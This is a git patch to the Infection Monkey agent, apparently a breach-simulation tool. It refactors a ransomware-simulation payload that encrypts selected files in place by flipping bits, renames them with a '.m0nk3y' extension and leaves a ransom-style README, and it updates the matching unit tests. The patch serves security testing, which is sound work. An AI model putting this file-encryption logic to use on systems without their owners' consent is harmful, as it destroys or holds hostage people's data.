From d9cc66de547c0228ddf23fb179e1e7933baac09d Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Wed, 14 Jul 2021 08:50:49 -0400
Subject: [PATCH] Agent: Inject InPlaceFileEncryptor into RansomwarePayload

---
 monkey/infection_monkey/monkey.py             |  7 ++++
 .../ransomware/bitflip_encryptor.py           | 21 ------------
 .../ransomware/ransomware_payload.py          | 15 ++------
 .../ransomware/test_bitflip_encryptor.py      | 34 -------------------
 .../ransomware/test_ransomware_payload.py     | 26 ++++++++++++--
 5 files changed, 33 insertions(+), 70 deletions(-)
 delete mode 100644 monkey/infection_monkey/ransomware/bitflip_encryptor.py
 delete mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py

diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 0dcbbcd17..ffe431d8a 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -23,6 +23,7 @@ from infection_monkey.network.tools import get_interface_to_target, is_running_o
 from infection_monkey.post_breach.post_breach_handler import PostBreach
 from infection_monkey.ransomware import ransomware_payload, readme_utils
 from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector
+from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor
 from infection_monkey.ransomware.ransomware_payload import RansomwarePayload
 from infection_monkey.system_info import SystemInfoCollector
 from infection_monkey.system_singleton import SystemSingleton
@@ -40,6 +41,7 @@ from infection_monkey.telemetry.state_telem import StateTelem
 from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
 from infection_monkey.telemetry.trace_telem import TraceTelem
 from infection_monkey.telemetry.tunnel_telem import TunnelTelem
+from infection_monkey.utils.bit_manipulators import flip_bits
 from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
 from infection_monkey.utils.monkey_dir import (
@@ -479,6 +481,10 @@ class InfectionMonkey(object):
         telemetry_messenger = LegacyTelemetryMessengerAdapter()
         batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger)
 
+        file_encryptor = InPlaceFileEncryptor(
+            encrypt_bytes=flip_bits, new_file_extension=".m0nk3y", chunk_size=(4096 * 24)
+        )
+
         targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy()
         targeted_file_extensions.discard(ransomware_payload.EXTENSION)
         file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions)
@@ -486,6 +492,7 @@ class InfectionMonkey(object):
         try:
             RansomwarePayload(
                 WormConfiguration.ransomware,
+                file_encryptor,
                 file_selector,
                 readme_utils.leave_readme,
                 batching_telemetry_messenger,
diff --git a/monkey/infection_monkey/ransomware/bitflip_encryptor.py b/monkey/infection_monkey/ransomware/bitflip_encryptor.py
deleted file mode 100644
index b31f8a409..000000000
--- a/monkey/infection_monkey/ransomware/bitflip_encryptor.py
+++ /dev/null
@@ -1,21 +0,0 @@
-from pathlib import Path
-
-from infection_monkey.utils import bit_manipulators
-
-
-class BitflipEncryptor:
-    def __init__(self, chunk_size=64):
-        self._chunk_size = chunk_size
-
-    def encrypt_file_in_place(self, filepath: Path):
-        with open(filepath, "rb+") as f:
-            data = f.read(self._chunk_size)
-            while data:
-                num_bytes_read = len(data)
-
-                encrypted_data = bit_manipulators.flip_bits(data)
-
-                f.seek(-num_bytes_read, 1)
-                f.write(encrypted_data)
-
-                data = f.read(self._chunk_size)
diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py
index 7b3a9a42a..52604089c 100644
--- a/monkey/infection_monkey/ransomware/ransomware_payload.py
+++ b/monkey/infection_monkey/ransomware/ransomware_payload.py
@@ -4,16 +4,12 @@ from pprint import pformat
 from typing import Callable, List, Optional, Tuple
 
 from common.utils.file_utils import InvalidPath, expand_path
-from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor
 from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem
 from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
 from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 
-EXTENSION = ".m0nk3y"
-CHUNK_SIZE = 4096 * 24
-
 README_SRC = Path(__file__).parent / "ransomware_readme.txt"
 README_DEST = "README.txt"
 
@@ -22,6 +18,7 @@ class RansomwarePayload:
     def __init__(
         self,
         config: dict,
+        encrypt_file: Callable[[Path], None],
         select_files: Callable[[Path], List[Path]],
         leave_readme: Callable[[Path, Path], None],
         telemetry_messenger: ITelemetryMessenger,
@@ -32,9 +29,8 @@ class RansomwarePayload:
         self._readme_enabled = config["other_behaviors"]["readme"]
 
         self._target_dir = RansomwarePayload.get_target_dir(config)
-        self._new_file_extension = EXTENSION
 
-        self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE)
+        self._encrypt_file = encrypt_file
         self._select_files = select_files
         self._leave_readme = leave_readme
         self._telemetry_messenger = telemetry_messenger
@@ -77,8 +73,7 @@ class RansomwarePayload:
         for filepath in file_list:
             try:
                 LOG.debug(f"Encrypting {filepath}")
-                self._encryptor.encrypt_file_in_place(filepath)
-                self._add_extension(filepath)
+                self._encrypt_file(filepath)
                 self._send_telemetry(filepath, True, "")
             except Exception as ex:
                 LOG.warning(f"Error encrypting {filepath}: {ex}")
@@ -86,10 +81,6 @@ class RansomwarePayload:
 
         return results
 
-    def _add_extension(self, filepath: Path):
-        new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
-        filepath.rename(new_filepath)
-
     def _send_telemetry(self, filepath: Path, success: bool, error: str):
         encryption_attempt = FileEncryptionTelem(str(filepath), success, error)
         self._telemetry_messenger.send_telemetry(encryption_attempt)
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py
deleted file mode 100644
index 86066c518..000000000
--- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py
+++ /dev/null
@@ -1,34 +0,0 @@
-import os
-
-from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
-    TEST_KEYBOARD_TXT,
-    TEST_KEYBOARD_TXT_CLEARTEXT_SHA256,
-    TEST_KEYBOARD_TXT_ENCRYPTED_SHA256,
-)
-from tests.utils import hash_file
-
-from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor
-
-
-def test_file_encrypted(ransomware_target):
-    test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
-
-    assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
-
-    encryptor = BitflipEncryptor(chunk_size=64)
-    encryptor.encrypt_file_in_place(test_keyboard)
-
-    assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
-
-
-def test_file_encrypted_in_place(ransomware_target):
-    test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
-
-    expected_inode = os.stat(test_keyboard).st_ino
-
-    encryptor = BitflipEncryptor(chunk_size=64)
-    encryptor.encrypt_file_in_place(test_keyboard)
-
-    actual_inode = os.stat(test_keyboard).st_ino
-
-    assert expected_inode == actual_inode
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
index 5b62f3228..7d21485ba 100644
--- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
@@ -54,15 +54,29 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config):
 
 
 @pytest.fixture
-def build_ransomware_payload(mock_file_selector, mock_leave_readme, telemetry_messenger_spy):
+def build_ransomware_payload(
+    mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
+):
     def inner(config):
         return RansomwarePayload(
-            config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
+            config,
+            mock_file_encryptor,
+            mock_file_selector,
+            mock_leave_readme,
+            telemetry_messenger_spy,
         )
 
     return inner
 
 
+@pytest.fixture
+def mock_file_encryptor(ransomware_target):
+    from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor
+    from infection_monkey.utils.bit_manipulators import flip_bits
+
+    return InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=".m0nk3y")
+
+
 @pytest.fixture
 def mock_file_selector(ransomware_target):
     mock_file_selector.return_value = [
@@ -259,6 +273,8 @@ def test_readme_true(
 def test_no_readme_if_no_directory(
     monkeypatch,
     ransomware_payload_config,
+    mock_file_encryptor,
+    mock_file_selector,
     mock_leave_readme,
     telemetry_messenger_spy,
     ransomware_target,
@@ -268,7 +284,11 @@ def test_no_readme_if_no_directory(
     ransomware_payload_config["other_behaviors"]["readme"] = True
 
     RansomwarePayload(
-        ransomware_payload_config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
+        ransomware_payload_config,
+        mock_file_encryptor,
+        mock_file_selector,
+        mock_leave_readme,
+        telemetry_messenger_spy,
     ).run_payload()
 
     mock_leave_readme.assert_not_called()